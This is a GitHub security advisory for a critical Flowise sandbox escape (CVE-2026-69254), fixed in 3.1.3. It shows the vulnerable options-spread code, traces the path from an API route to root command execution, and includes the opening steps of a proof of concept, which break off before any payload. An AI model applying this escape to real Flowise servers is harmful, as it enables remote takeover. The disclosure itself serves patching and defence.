GitHub Advisoryadvisory · npm
GHSA-3769-jgqc-cxm7 Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
CRITICAL
Official page ↗
- Aliases
- CVE-2026-69254
- Ecosystem
- npm
- Packages
- flowise, flowise-components
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-08-04
Affected packages
• npm flowise: < 3.1.3 → fixed in 3.1.3
• npm flowise-components: < 3.1.3 → fixed in 3.1.3
Description
Summary
A sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the
default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.
Details
The vulnerability is in `packages/components/src/utils.ts` at line 1755:
```typescript
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => {
const { nodeVMOptions = {} } = options;
// ...
const defaultNodeVMOptions = {
require: {
builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc.
mock: secureWrappers
},
eval: false,
wasm: false
}
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings
const vm = new NodeVM(finalNodeVMOptions)
}
```
The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
Taint 01: Route Registration
`packages/server/src/routes/node-custom-functions/index.ts` (line 8)
Taint 02: Controller
`executeCustomFunction()` passes `req.body` to service — `packages/server/src/controllers/nodes/index.ts` (line 90)
Taint 03: Service
`executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` — `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)
Taint 04: Sandbox Entry
Code runs inside NodeVM via `executeJavaScriptCode()` — `packages/components/src/utils.ts` (line 1760)
Taint 05: Escape
Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself
Taint 06: Override
The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: ["*"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }`
Taint 07: RCE
Inside the nested VM, `require("child_process")` succeeds. Arbitrary commands execute as root.
PoC
Step 1: Start Flowise
```bash
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}
```
Step 2: Obtain Bearer Token
Register an account, then create an API key:
```bash
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}' …
Related
Alias · CVE (1)
- CVE-2026-69254 Flowise is a drag & drop user interface to build a customized large language model flow. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7 web
- https://github.com/FlowiseAI/Flowise/pull/6306 web
- https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d web
- https://github.com/FlowiseAI/Flowise package
- https://github.com/FlowiseAI/Flowise/releases/tag/[email protected] web